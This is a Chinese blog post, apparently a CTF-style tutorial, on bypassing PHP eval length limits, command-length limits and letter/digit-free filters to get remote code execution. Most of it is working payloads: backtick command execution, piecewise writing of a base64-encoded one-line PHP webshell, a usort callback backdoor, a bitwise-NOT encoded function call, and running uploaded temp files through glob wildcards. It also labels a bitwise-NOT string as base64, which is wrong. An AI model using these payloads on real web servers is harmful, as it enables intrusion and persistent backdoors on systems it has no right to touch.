RCE绕过技巧
创始人
2024-09-25 22:51:09
0

目录

EVAL长度限制突破技巧

1.使用反引号

2.file_put_contents写入文件

3.php5.6+变长参数+usort回调后门

命令长度限制突破技巧

1.拼接文件名

无字母数字的webshell命令执行

1.取反码

2.上传临时文件


EVAL长度限制突破技巧

分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。

由于Linux下的反引号可以执行命令,所以使用echo `$_GET[1]`;

把代码执行转换成命令执行

1.使用反引号

param=echo `$_GET[1]`;&1=id

效果:

有人就要问,不是说是限制到了17位一下吗。

因为后面的1=id不是前面param的值,所以写多长都没关系,$_GET[1]是获取通过传递的名为 1 的参数值。

2.file_put_contents写入文件

将一句话木马进行base64编码后追加写入文件

web.php?1=file_put_contents¶m=$_GET[1](N,P,8);  

web.php?1=file_put_contents¶m=$_GET[1](N,D,8);

...

web.php?1=file_put_contents¶m=$_GET[1](N,w,8);

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中    */

web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数

N:写入文件名

P:一句话木马的base64的编码

8:代表追加

未执行命令前的

执行后

因为像<等特殊符号,不能直接写入<,所以必须base64编码

3.php5.6+变长参数+usort回调后门

usort(...$_GET);

js中的可变长参数用...表示

?1[]=test&1[]=phpinfo();&2=assert

使用burpsuite抓包

修改GET为POST,加上usort(...$_GET);

使用的php版本最好为5.6,否则

右键->Send to Repeater

命令长度限制突破技巧

这段代码和上边一样,只是把参数长度变成不能超过8位,那么就不能使用`$_GET[1]`;了

只能执行简单的命令了

1.拼接文件名

因为Linux下可以使用>a来创建文件

用ls -t来以创建时间来列出当前目录下所有文件

将这条经过base64编码的一句话木马echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php就可以用上述方法写入webshell

无字母数字的webshell命令执行

这段代码将webshell长度不超过35位,除此之外还不允许包含字母数字,还不能包含$和_

这样就不能用上面的方法了。那怎么办

1.取反码

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式.

所以很简单了,因为不能出现字母所以就先构造一个可以生成phpinfo这个字符串的PHP表达式取反即可。如:(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90   --这个是phpinfo的base64编码

~   --取反

code=(~%8F%97%8F%96%91%99%90)();

这样就可以执行

2.上传临时文件

因为在php5版本中并不支持这种表达方式,所以我们就可以用php上传文件机制

先将本地的文件上传到服务器的临时目录 /tmp

然后在没有被删除的情况下执行起来

难点:1.匹配不到这个临时文件,因为这个文件名是随机生成的,全是英文和数字,但是代码又限制了这个。

2.没有执行权限

解决方法:1.经过多次尝试发现,上传的临时文件最后一个字母会出现大写字母。因为Linux是支持ascii,所以查看ascii发现大写字母的范围在 @-[ 之间,glob通配符 ? 匹配任意一个字符,* 匹配任意多个字符。

成功匹配到文件

2.在Linux下可以用 . [file]来执行文件

这样两个问题就都解决了

接下来就是用burpsuite抓包

先抓demo.html和web.php包

两个包repeater

如下所示,将demo.html包中的内容复制到web.php中

将GET改为POST是要接受下面的请求体

传递get参数,通过查找eval的官方文档,首先要闭合,然后再写php代码

?code=?>

成功

上一篇:HCIP笔记7-BGP(1)

下一篇:TCP/IP_TCP协议

相关内容

热门资讯

小米mix安卓0系统,极致体验... 亲爱的读者们,你是否也对智能手机的操作系统充满了好奇?今天,就让我带你一起探索一下小米Mix这款手机...
现在安卓系统会卡么,探究原因与... 你有没有发现,现在用安卓手机的时候,有时候会突然感觉有点卡呢?是不是你也遇到了这种情况,心里直犯嘀咕...
安卓系统在哪下载游戏,游戏下载... 你有没有想过,手机里那些让人欲罢不能的游戏都是从哪里来的呢?没错,就是安卓系统里的应用市场!今天,就...
安卓系统下载韩小圈,韩小圈应用... 你有没有听说最近安卓系统上一款叫做韩小圈的应用火得一塌糊涂?没错,就是那个集实用与趣味于一身的小玩意...
amigo系统是安卓吗,揭秘其... 你有没有听说过amigo系统?是不是好奇它是不是安卓系统的一部分呢?今天,就让我带你一探究竟,揭开这...
安卓系统免费绘画软件,盘点安卓... 你有没有想过,在手机上也能轻松画出心中的世界呢?现在,我就要给你介绍几款安卓系统上的免费绘画软件,让...
安卓11怎么退回系统,轻松操作... 你有没有遇到过这种情况:新系统更新后,发现新功能虽然炫酷,但老系统用起来更顺手?别急,今天就来教你怎...
返回主系统安卓11,探索新一代... 你有没有发现,最近你的安卓手机好像变得不一样了?没错,就是那个一直在默默无闻为你服务的安卓系统,它悄...
安卓系统豆瓣在哪看,轻松找到豆... 你有没有发现,手机里装了那么多应用,有时候找某个特定的软件就像大海捞针一样?比如说,你想要找豆瓣,但...
平板电脑小型安卓系统,探索平板... 你有没有发现,最近平板电脑界又掀起了一股热潮?没错,就是那些小巧便携、功能强大的安卓系统平板电脑。今...
安卓系统商店改地址,探索全新购... 你知道吗?最近安卓系统商店悄悄地改了地址,这可让不少手机用户感到新奇又好奇呢!让我们一起揭开这个神秘...
华为平板换安卓系统,体验全新智... 你有没有发现,最近华为平板的安卓系统更新换代的速度简直让人眼花缭乱?没错,我就要来跟你聊聊这个热门话...
安卓系统忘记网络设置,安卓系统... 亲爱的安卓用户们,你是否曾经遇到过这样的烦恼:手机连接网络时,突然忘记了网络设置,各种网络连接问题层...
安卓系统正在安装软件,软件安装... 你有没有发现,最近你的安卓手机好像变得特别忙碌呢?它正在悄悄地安装各种软件,仿佛在为你的生活添砖加瓦...
安卓系统漏洞措施,安卓系统漏洞... 你知道吗?安卓系统,这个陪伴我们日常生活的智能伙伴,最近可是有点小麻烦呢。不过别担心,今天我就要给你...
鸿蒙与安卓系统对比,谁将引领未... 你知道吗?最近手机圈里可是热闹非凡呢!鸿蒙系统和安卓系统,这两大操作系统之间的较量,简直就像是一场没...
安卓主板如何刷系统,轻松实现系... 你有没有遇到过安卓主板刷系统的烦恼?别急,今天就来给你详细说说这个话题,让你轻松搞定安卓主板刷系统的...
电脑如何切换安卓系统,操作指南... 你有没有想过,你的电脑竟然也能变身成为安卓系统的超级战士?没错,就是那个我们日常离不开的手机操作系统...
橘子系统与安卓系统区别,差异解... 你有没有想过,为什么你的手机里装的是安卓系统,而朋友的手机却是橘子系统呢?这两种系统看似相似,实则各...
超薄安卓系统手机推荐,超薄安卓... 你有没有想过,拥有一部超薄安卓系统手机,就像拥有了行走的时尚宣言?想象走在街头,手指轻轻一滑,屏幕上...